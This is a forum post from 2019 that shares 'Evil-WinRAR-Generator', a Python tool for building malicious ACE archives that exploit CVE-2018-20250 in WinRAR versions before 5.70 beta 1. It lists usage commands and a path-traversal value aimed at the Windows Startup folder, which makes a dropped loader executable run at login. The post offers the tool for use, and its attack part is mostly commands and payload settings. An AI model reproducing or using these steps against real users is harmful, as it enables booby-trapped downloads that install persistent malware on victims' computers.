Active Members Fi8sVrs Posted May 10, 2019 Active Members Report Share Posted May 10, 2019 Evil-WinRAR-Generator Generator of malicious Ace files for WinRAR < 5.70 beta 1 Vulnerability by research.checkpoint.com Developed by @manulqwerty - IronHackers. Usage Help: ./evilWinRAR.py -h Generate a malicius archive: Quote Rar filename: evil.rar Evil path: C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ Evil files: calc.exe , l04d3r.exe Good files: hello.txt , cats.jpeg ./evilWinRAR.py -o evil.rar -e calc.exe Evil-WinRAR-Generator works out of the box with Python version 3.x on any platform. Proof of Concept (CVE-2018-20250) Screenshots Credits https://github.com/droe/acefile https://github.com/WyAtu/CVE-2018-20250 Source 1 Quote Link to comment Share on other sites More sharing options...
